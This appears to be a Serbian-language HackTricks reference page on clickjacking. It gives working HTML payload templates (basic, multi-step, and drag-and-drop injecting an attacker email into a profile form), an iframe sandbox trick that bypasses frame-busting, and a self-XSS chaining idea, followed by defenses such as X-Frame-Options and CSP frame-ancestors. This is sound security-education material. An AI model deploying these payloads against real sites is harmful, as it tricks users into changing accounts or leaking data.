11 KiB
Clickjacking
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJEM!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice.
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Šta je Clickjacking
U clickjacking napadu, korisnik je prevaren da klikne na element na veb stranici koji je ili nevidljiv ili prikazan kao drugi element. Ova manipulacija može dovesti do neželjenih posledica za korisnika, kao što su preuzimanje malvera, preusmeravanje na zlonamerne veb stranice, pružanje pristupnih podataka ili osetljivih informacija, transfer novca ili online kupovina proizvoda.
Trik za popunjavanje formi
Ponekad je moguće popuniti vrednost polja forme korišćenjem GET parametara prilikom učitavanja stranice. Napadač može zloupotrebiti ovu funkcionalnost da popuni formu proizvoljnim podacima i pošalje clickjacking payload tako da korisnik pritisne dugme za slanje.
Popunjavanje forme sa Drag&Drop
Ako trebate da korisnik popuni formu ali ne želite direktno da ga zamolite da unese određene informacije (kao što su email ili specifična lozinka koju znate), možete ga jednostavno zamoliti da prevuče i ispusti nešto što će upisati vaše kontrolisane podatke kao u ovom primeru.
Osnovni Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Višekorak Payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Povuci i otpusti + Klikni payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Ako ste identifikovali XSS napad koji zahteva da korisnik klikne na neki element da bi pokrenuo XSS i stranica je ranjiva na clickjacking, možete je zloupotrebiti da prevarite korisnika da klikne na dugme/link.
Primer:
Pronašli ste self XSS u nekim privatnim detaljima naloga (detalji koje samo vi možete postaviti i pročitati). Stranica sa formom za postavljanje ovih detalja je ranjiva na Clickjacking i možete unapred popuniti formu sa GET parametrima.
__Napadač bi mogao pripremiti Clickjacking napad na tu stranicu unapred popunjavajući formu sa XSS payloadom i prevariti korisnika da pošalje formu. Dakle, kada se forma pošalje i vrednosti se promene, korisnik će izvršiti XSS.
Strategije za Smanjenje Clickjacking-a
Odbrane na strani klijenta
Skripte izvršene na strani klijenta mogu izvršiti radnje kako bi sprečile Clickjacking:
- Osiguravanje da je prozor aplikacije glavni ili vrhunski prozor.
- Čineći sve okvire vidljivim.
- Sprječavanje klikova na nevidljive okvire.
- Otkrivanje i obaveštavanje korisnika o potencijalnim pokušajima Clickjacking-a.
Međutim, ove skripte za razbijanje okvira mogu biti zaobiđene:
- Postavke bezbednosti pregledača: Neki pregledači mogu blokirati ove skripte na osnovu svojih postavki bezbednosti ili nedostatka podrške za JavaScript.
- HTML5 iframe
sandbox
atribut: Napadač može neutralisati skripte za razbijanje okvira postavljanjem atributasandbox
sa vrednostimaallow-forms
iliallow-scripts
bezallow-top-navigation
. Ovo sprečava iframe da proveri da li je glavni prozor, npr.,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
Server-Side Odbrane
X-Frame-Options
X-Frame-Options
HTTP odgovor zaglavlje obaveštava pretraživače o legitimnosti prikazivanja stranice u <frame>
ili <iframe>
, pomažući u sprečavanju Clickjacking-a:
X-Frame-Options: deny
- Nijedna domena ne može postaviti sadržaj u okvir.X-Frame-Options: sameorigin
- Samo trenutni sajt može postaviti sadržaj u okvir.X-Frame-Options: allow-from https://trusted.com
- Samo određeni 'uri' može postaviti okvir stranice.- Imajte na umu ograničenja: ako pretraživač ne podržava ovu direktivu, možda neće raditi. Neki pretraživači više vole CSP frame-ancestors direktivu.
Content Security Policy (CSP) frame-ancestors direktiva
frame-ancestors
direktiva u CSP je preporučeni metod za zaštitu od Clickjacking-a:
frame-ancestors 'none'
- Slično kaoX-Frame-Options: deny
.frame-ancestors 'self'
- Slično kaoX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Slično kaoX-Frame-Options: allow-from
.
Na primer, sledeći CSP dozvoljava postavljanje okvira samo sa iste domene:
Content-Security-Policy: frame-ancestors 'self';
Detaljnije informacije i kompleksni primeri mogu se pronaći u dokumentaciji CSP frame-ancestors i Mozilla-inoj dokumentaciji CSP frame-ancestors.
Content Security Policy (CSP) sa child-src
i frame-src
Content Security Policy (CSP) je sigurnosna mera koja pomaže u sprečavanju Clickjacking-a i drugih napada ubacivanjem koda specificiranjem izvora koje pretraživač treba da dozvoli za učitavanje sadržaja.
frame-src
Direktiva
- Definiše validne izvore za okvire.
- Konkretnija od
default-src
direktive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Ova politika dozvoljava okvire sa istog porekla (self) i https://trusted-website.com.
Direktiva child-src
- Uvedena je u CSP nivou 2 kako bi se postavili validni izvori za web radnike i okvire.
- Deluje kao rezervna opcija za frame-src i worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Ova politika omogućava okvire i radnike sa istog porekla (self) i https://trusted-website.com.
Beleške o korišćenju:
- Zastarevanje: child-src se postepeno ukida u korist frame-src i worker-src.
- Ponašanje zamene: Ako frame-src nedostaje, child-src se koristi kao zamena za okvire. Ako oba nedostaju, koristi se default-src.
- Stroga definicija izvora: Uključite samo pouzdane izvore u direktive kako biste sprečili eksploataciju.
JavaScript skripte za prekid okvira
Iako nije potpuno neprobojno, JavaScript-om zasnovane skripte za prekid okvira mogu se koristiti kako bi se sprečilo da se veb stranica okvira. Primer:
if (top !== self) {
top.location = self.location;
}
Korišćenje Anti-CSRF Tokena
- Provera Tokena: Koristite anti-CSRF tokene u veb aplikacijama kako biste osigurali da zahtevi koji menjaju stanje budu namerno napravljeni od strane korisnika, a ne preko Clickjacked stranice.
Reference
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.